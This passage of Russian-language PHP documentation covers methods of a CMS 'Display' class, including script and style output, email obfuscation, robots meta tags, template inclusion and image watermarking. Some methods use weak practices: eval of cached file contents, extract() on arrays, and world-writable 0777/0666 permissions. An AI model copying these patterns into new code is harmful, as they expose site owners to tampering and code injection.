                continue;
            } elseif (strlen($script)) {
                $html .= "<script type=\"text/javascript\"><!--\n$script\n//--></script>\n";
            } else {
                $html .= "<script type=\"text/javascript\" src=\"$file\"></script>\n";
            }
        }
        return $html;
    }

getStyle()

$Display->getStyle();
Исходный код
    function getStyle() {
        return $this->style;
    }

style()

$Display->style();
Исходный код
    function style() {
        $html = "";
        foreach ($this->getStyle() as $file => $style) {
            if ($style === true) {
                continue;
            } elseif (strlen($style)) {
                $html .= "<style type=\"text/css\"><!--\n$style\n--></style>\n";
            } else {
                $html .= "<link rel=\"stylesheet\" href=\"$file\" type=\"text/css\">";
            }
        }
        return $html;
    }

displayScripts()

$Display->displayScripts();
Исходный код
    function displayScripts() {
        $this->html = str_replace("<script></script>", $this->script() . $this->style(), $this->html);
    }

displayEmails()

$Display->displayEmails();
Исходный код
    function displayEmails() {
        if (preg_match_all("/[-_\\.a-zA-Z0-9]+@([a-zA-Z0-9][-a-zA-Z0-9]*)(\\.[a-zA-Z0-9][-a-zA-Z0-9]*)+/s", $this->html, $m, PREG_OFFSET_CAPTURE)) {
            $start = 0;
            $xhtml = "";
            $xdone = false;
            foreach ($m[0] as $i => $mm) {
                $extra = substr($this->html, $start, $mm[1] - $start);
                $xhtml .= $extra;
                $start = $mm[1] + strlen($mm[0]);
                $charl = strrpos($extra, "<");
                $charg = strrpos($extra, ">");
                if ($charl !== false && $charg !== false) {
                    $xdone = $charg > $charl;
                } elseif ($charl !== false) {
                    $xdone = false;
                } elseif ($charg !== false) {
                    $xdone = true;
                }
                if ($xdone) {
                    list($u, $d) = explode("@", $mm[0], 2);
                    $xhtml .= '<a'
                     . ' onmouseover="return _m_a_i_l_t_o(\'' . $u . '\', \'' . $d . '\', event, this)"'
                     . ' onmouseout="return _m_a_i_l_t_o(\'' . $u . '\', \'' . $d . '\', event, this)"'
                     . ' onclick="return _m_a_i_l_t_o(\'' . $u . '\', \'' . $d . '\', event, this)"'
                     . '>' . $u . '<span>&#x40;</span>' . $d . '</a>';
                } else {
                    $xhtml .= $mm[0];
                }
            }
            $xhtml .= substr($this->html, $start);
            $this->html = $xhtml;
        }
    }

displayHeaders()

$Display->displayHeaders();

Дополнительные заголовки

Исходный код
    function displayHeaders() {
        if ($this->Main()->inPath("cart")) $this->Main()->Request()->addHeader("Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0");
        else $this->Main()->Request->addHeader("Cache-Control: no-cache, must-revalidate");
        $this->Main()->Request->addHeader("Pragma: no-cache");
    }

displayMetaData()

$Display->displayMetaData();

Отобаржение мета-тэгов на странице

Исходный код
    function displayMetaData() {
        $root = $this->root();
        $Conf = $this->Conf();
        $Data = $this->Data();
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Form = $this->Form();
        $Page = $Main->Page;
        $Page->open();

        # 2014-05-05
        $robots_index = $robots_follow = true;
        if ($Page->id == "sitemap" || $Page->type == "sitemap") $robots_index = false;
        if (false
            # 2015-03-20
            || $Page->noindex || $Page->info['noindex']
            # 2015-09-27
            || $_GET['t'] == "print"
            || substr($Page->id, 0, 7) == "/admin/"
            || in_array($Page->id, array( "admin", "search", "cart", "register", "remind", "profile", "personal", "enter", "cms", "pms", "pay", $Main->entry_point ))
            || in_array($Page->parent, array( "admin", "search", "cart", "register", "remind", "profile", "personal", "enter", "cms", "pms", "pay", $Main->entry_point ))
        ) {
            $robots_index = $robots_follow = false;
            if ($Page->nofollow === false || $Page->nofollow === '') $robots_follow = true;
        }
        $meta_robots = "<meta name=\"robots\" content=\"" . ($robots_index ? "index" : "noindex") . "," . ($robots_follow ? "follow" : "nofollow") . "\">";
        if (!$robots_index && $robots_follow) $meta_robots .= "<meta name=\"googlebot\" content=\"follow,noindex\">";

        if (isset($Page->info['title'])) {
            $title = str_replace(array('\\', '$'), array('\\\\', '\\$'), htmlspecialchars($Page->info['title'] . $this->getTitleFragments()));
        } else {
            $title = '$1';
        }
        $prev = ($href = $Main->Request()->getPrevLink()) ? "<link rel=\"prev\" href=\"" . htmlspecialchars($href) . "\">" : "";
        $next = ($href = $Main->Request()->getNextLink()) ? "<link rel=\"next\" href=\"" . htmlspecialchars($href) . "\">" : "";
        $this->html = preg_replace("~<title>(.*?)</title>~si", "<title>$title</title><meta name=\"title\" content=\"$title\">$meta_robots", $this->html);
        $this->html = preg_replace("~<link rel=\"canonical\" href=\"[^\"\"]*\">~", "<link rel=\"canonical\" href=\"" . htmlspecialchars($Main->Request()->getCanonical()) . "\">" . $prev . $next, $this->html);
        $this->html = str_ireplace("<meta name=\"keywords\" content=\"\">", isset($Page->info['keywords']) ? "<meta name=\"keywords\" content=\"" . htmlspecialchars($Page->info['keywords']) . "\">" : (strlen($keywords = $Conf->get("keywords")) ? "<meta name=\"keywords\" content=\"" . htmlspecialchars($keywords) . "\">" : ""), $this->html);
        $this->html = str_ireplace("<meta name=\"description\" content=\"\">", isset($Page->info['description']) ? "<meta name=\"description\" content=\"" . htmlspecialchars($Page->info['description']) . "\">" : (strlen($description = $Conf->get("description")) ? "<meta name=\"description\" content=\"" . htmlspecialchars($description) . "\">" : ""), $this->html);
        $this->html = str_ireplace("<meta name=\"last-modified\" content=\"\">", "<meta name=\"last-modified\" content=\"$this->_last_modified\">", $this->html);
    }

getTemplate()

$Display->getTemplate($prefix, $template=null);

Файл с шаблоном

Параметры:

ИмяОписание
$prefix

префикс для шаблона

$template

имя шаблона

Возвращает: string – путь

Примеры:

include($Display->getTemplate('print'));
# Результат: include('cms/html/template.print.php');

include($Display->getTemplate('simple', 'news'));
# Результат: include('cms/html/simple.news.php');

Исходный код
    function getTemplate($prefix, $template = null) {
        if (!isset($template)) return "cms/html/template.$prefix.php";
        else return "cms/html/$prefix.$template.php";
    }

callTemplate()

$Display->callTemplate($prefix, $template=null, $Page=null, $a=null);

Вызов файла с шаблоном

Параметры:

ИмяОписание
$prefix

префикс для шаблона

$template

имя шаблона

$Page

Объект $Page

$a

Массив параметров

Возвращает: string HTML

Примеры:

$Display->callTemplate('print');
# Результат: include('cms/html/template.print.php');

$Display->callTemplate('simple', 'news', $Item);
# Результат: $Page = $Item; include('cms/html/simple.news.php');

Исходный код
    function callTemplate($prefix, $template = null, $Page = null, $a = null) {
        return $this->includeFile($this->getTemplate($prefix, $template), $Page, $a);
    }

includeFile()

$Display->includeFile($file, $Page=null, $a=null, $cache=null);

Вызов файла

Параметры:

ИмяОписание
$file

имя файла

$Page

объект $Page

$a

массив параметров

$cache

использовать кэш

Возвращает: string HTML

Примеры:

$Display->includeFile('news/index.php', $Item);
# Результат: $Page = $Item; include('news/index.php');

$Display->includeFile($root . '/news/index.php', $Item);
# Результат: $Page = $Item; include($root . '/news/index.php');

Исходный код
    function includeFile($file, $Page = null, $a = null, $cache = null) {
        # Объекты
        global $_RESULT; if (!is_array($_RESULT)) $_RESULT = array();
        $App = $this->App();
        $root = $this->root();
        $Conf = $this->Conf();
        $Data = $this->Data();
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Form = $this->Form();
        if (!isset($Page)) $Page = $Main->Page;
        $Request = $Main->Request();
        $Storage = $Main->Storage();
        $Modules = $Main->Modules();
        $Display = $Main->Display();
        if (is_array($a)) extract($a);

        if (!isset($cache)) $cache = strpos($file, "/menu.") !== false || strpos($file, "/simple.") !== false;
        if (!is_array($this->_include_file)) $this->_include_file = array();
        $code = $this->_include_file[$file];
        if (!isset($code)) {
            if ($file[0] == "/" || ($file[1] == ':' && $file[2] == '\\')) {
                if (file_exists($file)) {
                    if ($cache) $this->_include_file[$file] = $code = file_get_contents($file);
                    else $this->_include_file[$file] = $code = true;
                } else {
                    $this->_include_file[$file] = $code = false;
                }
            } else {
                if ($path = $App->resolvePath($file)) {
                    if ($cache) $this->_include_file[$file] = $code = file_get_contents($path);
                    else $this->_include_file[$file] = $code = true;
                }
                if (!isset($code)) $this->_include_file[$file] = $code = false;
            }
        }
        if ($code === false) return false;
        ob_start();
        if ($code === true) {
            $r = include($file);
            if (is_string($r)) print $r;
        } else {
            $r = eval("?" . ">" . $code . "<" . "?");
            if (is_string($r)) print $r;
        }
        return ob_get_clean();
    }

group()

$Display->group($group);
Исходный код
    function group($group) {
        $Data = $this->Data();
        $r = array();
        if (is_string($group)) $group = explode("|", $group);
        foreach ($group as $g) if (strlen($g = trim($g))) {
            if (isset($this->_group[$g])) {
                $title = $this->_group[$g];
            } else {
                $title = $Data->dLookup("SELECT `title` FROM `group` WHERE `id`=" . $Data->quote($g));
                if (!strlen($title)) {
                    if ($g == "root" || $g == "admin") $title = "Администратор";
                    else $title = $g;
                }
                $this->_group[$g] = $title;
            }
            $r[] = $title;
        }
        $r = implode(", ", $r);
        return $r;
    }

watermark()

$Display->watermark($file_src, $a=array());
Исходный код
    function watermark($file_src, $a = array()) {
        if (substr($file_src, -7) == ".wm.jpg") return $file_src;
        $root = $this->root();
        $base_src = preg_replace("~\\.\\w+$~", "", $file_src);
        $base_enc = str_rot13($base_src);
        for ($i = strlen($base_enc) - 1; $i >= 0; $i --) {
            $c = $base_enc[$i];
            if ($c >= '0' && $c <= '9') {
                $base_enc[$i] = (intval($c) + 5) % 10;
            }
        }
        $file_dst = "/file/watermark" . $base_enc . "/" . basename($base_src) . ".wm.jpg";
        $real_src = "$root$file_src";
        $real_dst = "$root$file_dst";
        if (@filemtime($real_dst) > @filemtime($real_src)) return $file_dst;
        @ini_set("memory_limit", "1G");
        if (is_array($a)) {
            extract($a);
        } elseif (is_string($a)) {
            if ($a[0] == "/") $watermark = $a;
            else $position = $a;
        }
        if (!isset($watermark)) $watermark = "/images/watermark.png";
        if (!isset($position)) $position = "c";
        $r = $file_src;
        list($w, $h, $t) = @getimagesize($real_src);
        if ($t == IMAGETYPE_JPEG) $src = @imagecreatefromjpeg($real_src);
        elseif ($t == IMAGETYPE_GIF) $src = @imagecreatefromgif($real_src);
        elseif ($t == IMAGETYPE_PNG) $src = @imagecreatefrompng($real_src);
        else return $r;
        $dst = imagecreatetruecolor($w, $h);
        imagefill($dst, 0, 0, imagecolorallocate($dst, 0xff, 0xff, 0xff));
        imagecopy($dst, $src, 0, 0, 0, 0, $w, $h);
        $wm = imagecreatefrompng("$root$watermark");
        if (!$wm) return $r;
        $wm_w = imagesx($wm);
        $wm_h = imagesy($wm);
        if ($wm_w > $w * .625 || $wm_h > $h * .625) {
            if ($wm_w / $wm_h > $w / $h) {
                $_wm_w = round($w * .625);
                $_wm_h = round($_wm_w * $wm_h / $wm_w);
            } else {
                $_wm_h = round($h * .625);
                $_wm_w = round($_wm_h * $wm_w / $wm_h);
            }
            $_wm = imagecreatetruecolor($_wm_w, $_wm_h);
            imagealphablending($_wm, false);
            imagesavealpha($_wm, true);
            imagecopyresampled($_wm, $wm, 0, 0, 0, 0, $_wm_w, $_wm_h, $wm_w, $wm_h);
            imagedestroy($wm);
            $wm = $_wm;
            $wm_w = $_wm_w;
            $wm_h = $_wm_h;
        }
        if (strpos($position, "e") !== false) $wm_x = round($w - $wm_w * 1.1666);
        elseif (strpos($position, "w") !== false) $wm_x = round($wm_w * 0.1666);
        else $wm_x = round(($w - $wm_w) / 2);
        if (strpos($position, "s") !== false) $wm_y = round($h - $wm_h * 1.1666);
        elseif (strpos($position, "n") !== false) $wm_y = round($wm_h * 0.1666);
        else $wm_y = round(($h - $wm_h) / 2);
        imagecopy($dst, $wm, $wm_x, $wm_y, 0, 0, $wm_w, $wm_h);
        $dir = dirname($file_dst);
        if (!is_dir("$root$dir")) {
            $cwd = $root;
            foreach (explode("/", $dir) as $p) if (strlen($p)) {
                $cwd .= "/" . $p;
                if (!is_dir($cwd)) @mkdir($cwd) && @chmod($cwd, 0777);
            }
        }
        if (imagejpeg($dst, $real_dst, 100)) $r = $file_dst;
        @chmod($real_dst, 0666);
        if ($src) imagedestroy($src);
        if ($dst) imagedestroy($dst);
        if ($wm) imagedestroy($wm);
        return $r;
    }

addTitleFragment()

$Display->addTitleFragment($title, $key=null);
Исходный код
    function addTitleFragment($title, $key = null) {
        if (!isset($this->_title_fragments)) $this->_title_fragments = array();
        if (isset($key)) $this->_title_fragments[$key] = $title;
        else $this->_title_fragments[] = $title;
    }

getTitleFragment()

$Display->getTitleFragment($key=null);
Исходный код
    function getTitleFragment($key = null) {
        if (!isset($this->_title_fragments)) return;
        if (!isset($key)) return $this->_title_fragments;
        else return $this->_title_fragments[$key];
    }

isTitleFragment()

$Display->isTitleFragment($key);
Исходный код
    function isTitleFragment($key) {
        if (!isset($this->_title_fragments)) return false;
        else return $this->_title_fragments[$key] !== null;
    }

getTitleFragments()

$Display->getTitleFragments();
Исходный код
    function getTitleFragments() {
        if (!isset($this->_title_fragments)) return;
        $a = $this->_title_fragments;
        foreach ($a as $key => $value) if (!strlen($value)) unset($a[$key]);
        if (strlen($a['page'])) {
            $page = $a['page'];
            unset($a['page']);
            $a['page'] = $page;
        }
        $r = implode(", ", $a);
        if (strlen($r)) return ": $r";
    }